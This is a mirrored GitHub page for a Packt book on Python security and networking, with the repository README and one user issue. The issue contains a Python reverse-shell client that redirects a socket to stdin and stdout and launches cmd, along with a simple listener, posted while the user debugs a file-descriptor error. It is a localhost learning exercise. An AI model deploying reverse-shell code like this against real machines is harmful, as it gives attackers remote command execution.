Giter Site home page Giter Site logo

packtpublishing / python-for-security-and-networking Goto Github PK

View Code? Open in Web Editor NEW
52.0 5.0 22.0 50.71 MB

Python for Security and Networking, Published by Packt

License: MIT License

Python 15.03% HTML 46.32% Classic ASP 9.24% ASP.NET 0.85% C 0.17% ColdFusion 1.06% Java 11.24% Shell 1.17% PHP 13.00% Perl 1.92%

python-for-security-and-networking's Introduction

Python-for-Security-and-Networking

This is the code repository for Python for Security and Networking, Third Edition, published by Packt.

Leverage Python modules and tools in securing your network and applications

About the book

Python’s latest updates add numerous libraries that can be used to perform critical security-related missions, including detecting vulnerabilities in web applications, taking care of attacks, and helping to build secure and robust networks that are resilient to them. This fully updated third edition will show you how to make the most of them and improve your security posture.

The first part of this book will walk you through Python scripts and libraries that you’ll use throughout the book. Next, you’ll dive deep into the core networking tasks where you will learn how to check a network’s vulnerability using Python security scripting and understand how to check for vulnerabilities in your network – including tasks related to packet sniffing. You’ll also learn how to achieve endpoint protection by leveraging Python packages along with writing forensics scripts.

The next part of the book will show you a variety of modern techniques, libraries, and frameworks from the Python ecosystem that will help you extract data from servers and analyze the security in web applications. You’ll take your first steps in extracting data from a domain using OSINT tools and using Python tools to perform forensics tasks.

By the end of this book, you will be able to make the most of Python to test the security of your network and applications.

What you will learn

  • Program your own tools in Python that can be used in a Network Security process
  • Automate tasks of analysis and extraction of information from servers
  • Detect server vulnerabilities and analyze security in web applications
  • Automate security and pentesting tasks by creating scripts with Python
  • Utilize the ssh-audit tool to check the security in SSH servers
  • Explore WriteHat as a pentesting reports tool written in Python
  • Automate the process of detecting vulnerabilities in applications with tools like Fuxploider

Table of Contents

Chapters

  1. Working with Python Scripting
  2. System Programming Packages
  3. Socket Programming
  4. HTTP Programming and Web Authentication
  5. Analyzing Network Traffic and Packet Sniffing
  6. Gathering Information from Servers with OSINT Tools
  7. Interacting with FTP, SFTP, and SSH Servers
  8. Working with Nmap Scanner
  9. Interacting with Vulnerability Scanners
  10. Interacting with Server Vulnerabilities in Web Applications
  11. Obtain Information from Vulnerabilities Databases
  12. Extracting Geolocation and Metadata from Documents, Images, and Browsers
  13. Python Tools for Brute-Force Attacks
  14. Cryptography and Code Obfuscation
  15. Assessments – Answers to the End-of-Chapter Questions

If you feel this book is for you, get your copy today! Coding

Following is what you need for this book:

You will need to install a Python distribution on your local machine, which should have at least 4 GB of memory. Also, you will need Python version 3.10, which you can install on your system globally or use a virtual environment for testing the scripts with this version.

With the following software and hardware list you can run all code files present in the book.

Software and Hardware List

Chapter Software/hardware covered in the book OS requirements
Chapters 1-14 Python 3.10 Windows, macOS, and Linux (Any)

Know more on the Discord server Coding

You can get more engaged on the discord server for more latest updates and discussions in the community at https://packt.link/SecNet

Download a free PDF Coding

If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost. Simply click on the link to claim your free PDF. https://packt.link/free-ebook/9781837637553 Coding

We also provide a PDF file that has color images of the screenshots/diagrams used in this book at "https://packt.link/t85UI" Coding

Get to Know the Author

José Manuel Ortega has been working as a Software Engineer and Security Researcher with a focus on new technologies, open source, security, and testing. His career target has been to specialize in Python and DevOps security projects with Docker. Currently, he is working as a Security Tester Engineer and his functions in the project are analysis and testing the security of applications in both web and mobile environments. He has collaborated with universities and the official college of computer engineers presenting articles and holding some conferences. He has also been a speaker at various conferences both national and international. He is very enthusiastic to learn about new technologies and loves to share his knowledge with the developer community.

python-for-security-and-networking's People

Contributors

anikets-cpu avatar jmortega avatar namratakpackt avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

python-for-security-and-networking's Issues

Chapter 3 reverse_shell_py [Errno 9] Bad file descriptor on line os.dup2(s.fileno(),0)

Running on python3.12, windows 11, AMD64, 64 bits

Keep having [Errno 9] Bad file descriptor.

Below is my code for the client

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(("127.0.0.1", 45678))
#if r==0:
s.send(b"Hello")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
shell_remote=subprocess.call(("cmd", "dir"))
proc = subprocess.call(("dir"))
s.close()

I tried the server with two methods:
using netcat-win32-1.12 from https://eternallybored.org/misc/netcat/

AND also writing a simple server.py by myself, as follows:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", 45678))
s.listen(5)
print("Listening...")
client, addr = s.accept()
while True:
	request = client.recv(1024).decode()
	print("[+] Received: ", request)
	if request == "quit":
		break
	if len(request) < 1:
		break

s.close()

Something wrong with this example?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.